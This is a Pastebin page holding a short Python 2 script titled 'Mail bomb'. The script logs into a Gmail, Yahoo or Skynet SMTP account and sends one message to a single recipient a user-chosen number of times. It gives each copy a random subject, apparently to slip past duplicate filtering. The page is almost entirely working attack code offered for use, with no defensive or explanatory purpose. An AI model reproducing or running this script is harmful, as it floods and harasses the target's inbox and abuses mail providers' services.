Advertisement
223311Norman

Mail bomb

Sep 6th, 2017
627
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.31 KB | None | 0 0
  1. #Give some love to WhiteLord
  2. #!/usr/bin/python
  3.  
  4. import os
  5. import smtplib
  6. import getpass
  7. import sys
  8.  
  9.  
  10. server = raw_input ('Server Mail: ')
  11. user = raw_input('Username: ')
  12. passwd = getpass.getpass('Password: ')
  13.  
  14.  
  15. to = raw_input('\nTo: ')
  16. #subject = raw_input('Subject: ')
  17. body = raw_input('Message: ')
  18. total = input('Number of send: ')
  19.  
  20. if server == 'gmail':
  21.     smtp_server = 'smtp.gmail.com'
  22.     port = 587
  23. elif server == 'yahoo':
  24.     smtp_server = 'smtp.mail.yahoo.com'
  25.     port = 25
  26. elif server == 'skynet':
  27.     smtp_server = 'relay.skynet.be'
  28.     port = 25  
  29. else:
  30.     print 'Applies only to gmail, skynet and yahoo.'
  31.     sys.exit()
  32.  
  33. print ''
  34.  
  35. try:
  36.     server = smtplib.SMTP(smtp_server,port)
  37.     server.ehlo()
  38.     if smtp_server == "smtp.gmail.com":
  39.             server.starttls()
  40.     server.login(user,passwd)
  41.     for i in range(1, total+1):
  42.         subject = os.urandom(9)
  43.         msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
  44.         server.sendmail(user,to,msg)
  45.         print "\rTotal emails sent: %i" % i
  46.         sys.stdout.flush()
  47.     server.quit()
  48.     print '\n Done !!!'
  49. except KeyboardInterrupt:
  50.     print '[-] Canceled'
  51.     sys.exit()
  52. except smtplib.SMTPAuthenticationError:
  53.     print '\n[!] The username or password you entered is incorrect.'
  54.     sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement